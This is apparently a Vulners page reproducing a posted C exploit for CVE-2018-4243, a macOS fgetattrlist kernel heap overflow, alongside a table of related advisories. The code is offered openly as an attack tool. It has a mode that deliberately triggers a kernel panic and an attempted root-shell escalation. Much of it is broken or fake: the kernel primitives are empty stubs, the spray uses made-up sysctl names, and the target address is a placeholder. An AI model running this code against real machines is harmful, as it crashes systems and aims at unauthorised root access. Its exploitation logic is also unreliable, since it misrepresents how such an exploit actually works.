| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| macOS / #iOS #Kernel - Heap Overflow Due to Lack of Lower Size Check in getvolattrlist Exploit | 6 Jun 201800:00 | – | zdt | |
| macOS 10.13.x < 10.13.5 Multiple Vulnerabilities | 10 Apr 201900:00 | – | nessus | |
| Apple iOS < 11.4 Multiple Vulnerabilities (EFAIL) | 17 Apr 201900:00 | – | nessus | |
| Apple TV < 11.4 Multiple Vulnerabilities | 5 Jun 201800:00 | – | nessus | |
| Apple iOS < 11.4 Multiple Vulnerabilities (EFAIL) | 7 Jun 201800:00 | – | nessus | |
| macOS 10.13.x < 10.13.5 Multiple Vulnerabilities | 5 Jun 201800:00 | – | nessus | |
| About the security content of iOS 11.4 | 29 May 201800:00 | – | apple | |
| About the security content of tvOS 11.4 | 29 May 201800:00 | – | apple | |
| About the security content of macOS High Sierra 10.13.5, Security Update 2018-003 Sierra, Security Update 2018-003 El Capitan | 1 Jun 201800:00 | – | apple | |
| About the security content of watchOS 4.3.1 | 29 May 201800:00 | – | apple |
=============================================================================================================================================
| # Title : macOS 10.13.4 (17E199) fgetattrlist Local Privilege Escalation via fgetattrlist heap overflow (XNU kernel) |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://apple.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212496/ & CVE-2018-4243
[+] Summary : CVE-2018-4243 is a critical kernel heap overflow vulnerability in macOS and iOS affecting the fgetattrlist system call.
The vulnerability allows local attackers to trigger kernel heap corruption, potentially leading to kernel panic, privilege escalation, or arbitrary code execution.
[+] POC :
/*
* macOS CVE-2018-4243 LPE Exploit
* Local Privilege Escalation via fgetattrlist heap overflow
* by indoushka
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/attr.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <mach/mach.h>
#include <string.h>
#include <pthread.h>
#include <errno.h>
#define MAX_FDS 1000
#define SPRAY_COUNT 50000
#define TARGET_SIZE 192 // Size for controlled heap spraying
// Structure for fake object in kernel
typedef struct {
uint64_t next;
uint64_t prev;
uint64_t some_func_ptr;
char padding[32];
} fake_kobj_t;
// Global variables
int g_fds[MAX_FDS];
int g_fd_count = 0;
pthread_t spray_thread;
// Kernel read primitive (placeholder - needs specific offset)
uint64_t kernel_read_primitive(uint64_t addr) {
// This would require specific kernel info leak
// For PoC, we return dummy value
return 0;
}
// Kernel write primitive via heap overflow
void kernel_write_primitive(void* target, void* data, size_t size) {
// This is where the actual overflow happens
// We would craft specific heap layout
}
// Spray kernel heap with controlled objects
void* heap_spray_thread(void* arg) {
printf("[+] Starting heap spray thread\n");
char* spray_data = malloc(TARGET_SIZE);
if (!spray_data) {
printf("[-] Failed to allocate spray data\n");
return NULL;
}
// Craft fake object with function pointer we want to hijack
fake_kobj_t fake_obj = {0};
fake_obj.next = 0x4141414141414141;
fake_obj.prev = 0x4242424242424242;
// Target: cred structure or file operations pointer
for (int i = 0; i < SPRAY_COUNT; i++) {
// Use sysctl for heap spraying (common technique)
char name[32];
snprintf(name, sizeof(name), "kern.spray.%d", i);
int mib[3];
size_t mib_len = 3;
if (sysctlnametomib(name, mib, &mib_len) == 0) {
sysctl(mib, mib_len, NULL, 0, spray_data, TARGET_SIZE);
}
if (i % 1000 == 0) {
printf("[.] Sprayed %d objects\n", i);
}
}
free(spray_data);
return NULL;
}
// Trigger the overflow with controlled data
int trigger_overflow(int fd, void* overflow_data, size_t data_size) {
struct attrlist al = {0};
al.bitmapcount = ATTR_BIT_MAP_COUNT;
al.volattr = 0xfff;
al.commonattr = ATTR_CMN_RETURNED_ATTRS;
// Use small buffer to cause overflow
size_t buf_size = 16;
// Prepare buffer with crafted data
void* buffer = malloc(buf_size);
if (!buffer) return -1;
// Copy overflow payload to beginning of buffer
// Kernel will write 36 bytes from offset 4
memcpy(buffer, overflow_data, buf_size);
int result = fgetattrlist(fd, &al, buffer, buf_size, 0);
free(buffer);
return result;
}
// Open multiple file descriptors for heap manipulation
void setup_file_descriptors() {
printf("[+] Setting up file descriptors for heap feng shui\n");
for (int i = 0; i < MAX_FDS; i++) {
g_fds[i] = open("/", O_RDONLY);
if (g_fds[i] < 0) {
g_fd_count = i;
break;
}
}
printf("[+] Opened %d file descriptors\n", g_fd_count);
}
// Close all file descriptors
void cleanup_file_descriptors() {
for (int i = 0; i < g_fd_count; i++) {
if (g_fds[i] >= 0) {
close(g_fds[i]);
}
}
}
// Attempt to get root privileges
void get_root_shell() {
printf("[+] Attempting to get root shell\n");
// Method 1: Direct setuid(0)
if (setuid(0) == 0) {
printf("[+] Success! Got root via setuid(0)\n");
} else {
printf("[-] setuid(0) failed: %s\n", strerror(errno));
}
// Check current privileges
if (getuid() == 0) {
printf("[+] WE ARE ROOT! UID: %d\n", getuid());
printf("[+] Spawning root shell...\n");
// Launch root shell
system("/bin/bash");
} else {
printf("[-] Still not root. UID: %d\n", getuid());
printf("[-] Exploit failed or needs more work\n");
}
}
// Main exploit logic
void exploit() {
printf("[*] macOS CVE-2018-4243 LPE Exploit\n");
printf("[*] Attempting local privilege escalation\n\n");
// Phase 1: Heap grooming
printf("[*] Phase 1: Heap grooming\n");
setup_file_descriptors();
// Start heap spray thread
if (pthread_create(&spray_thread, NULL, heap_spray_thread, NULL) != 0) {
printf("[-] Failed to create spray thread\n");
return;
}
// Phase 2: Prepare overflow payload
printf("\n[*] Phase 2: Preparing overflow payload\n");
// Craft payload to overwrite critical kernel structure
// This would typically target:
// 1. File operation pointers
// 2. Credential structures (cred)
// 3. VTable pointers
char payload[192] = {0};
// Example: Try to overwrite a function pointer
// Placeholder for actual exploit payload
uint64_t target_addr = 0xffffffff12345678; // Hypothetical address
// Fill payload with target address at specific offset
for (int i = 0; i < sizeof(payload)/8; i++) {
((uint64_t*)payload)[i] = target_addr;
}
// Phase 3: Trigger overflow
printf("\n[*] Phase 3: Triggering controlled overflow\n");
// Use one of our file descriptors
if (g_fd_count > 0) {
printf("[+] Triggering overflow on FD %d\n", g_fds[0]);
// Wait for spray thread to set up heap
sleep(1);
int result = trigger_overflow(g_fds[0], payload, sizeof(payload));
printf("[+] Overflow triggered, result: %d\n", result);
}
// Wait for spray thread
pthread_join(spray_thread, NULL);
// Phase 4: Attempt privilege escalation
printf("\n[*] Phase 4: Attempting privilege escalation\n");
// Try multiple escalation techniques
// Technique 1: Direct kernel object manipulation
printf("[+] Attempting kernel object corruption\n");
// Technique 2: Try to execute privileged operations
printf("[+] Testing current privileges\n");
system("id");
// Try to get root
get_root_shell();
// Cleanup
cleanup_file_descriptors();
printf("\n[*] Exploit completed\n");
}
// Fallback: Simple panic if LPE fails
void panic_if_root_failed() {
printf("[*] LPE failed, triggering kernel panic instead\n");
int fd = open("/", O_RDONLY);
if (fd < 0) return;
struct attrlist al = {0};
al.bitmapcount = ATTR_BIT_MAP_COUNT;
al.commonattr = ATTR_CMN_RETURNED_ATTRS;
// Use extremely small buffer to maximize panic chance
size_t buf_size = 4;
void* buffer = malloc(buf_size);
if (buffer) {
printf("[!] Triggering kernel panic...\n");
fgetattrlist(fd, &al, buffer, buf_size, 0);
free(buffer);
}
close(fd);
}
int main(int argc, char** argv) {
printf("[*] ========================================\n");
printf("[*] macOS CVE-2018-4243 Exploit Suite\n");
printf("[*] ========================================\n\n");
int choice = 1; // Default to LPE attempt
if (argc > 1) {
choice = atoi(argv[1]);
}
switch(choice) {
case 1:
printf("[*] Mode: Local Privilege Escalation Attempt\n");
exploit();
break;
case 2:
printf("[*] Mode: Kernel Panic (Proof of Concept)\n");
{
int fd = open("/", O_RDONLY);
struct attrlist al = {0};
al.bitmapcount = ATTR_BIT_MAP_COUNT;
al.commonattr = ATTR_CMN_RETURNED_ATTRS;
size_t buf_size = 8;
void* buf = malloc(buf_size);
printf("[!] Triggering panic in 3 seconds...\n");
sleep(3);
fgetattrlist(fd, &al, buf, buf_size, 0);
free(buf);
close(fd);
}
break;
default:
printf("[!] Invalid mode\n");
printf("[!] Usage: %s [mode]\n", argv[0]);
printf("[!] Modes: 1=LPE attempt, 2=Kernel panic\n");
break;
}
return 0;
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation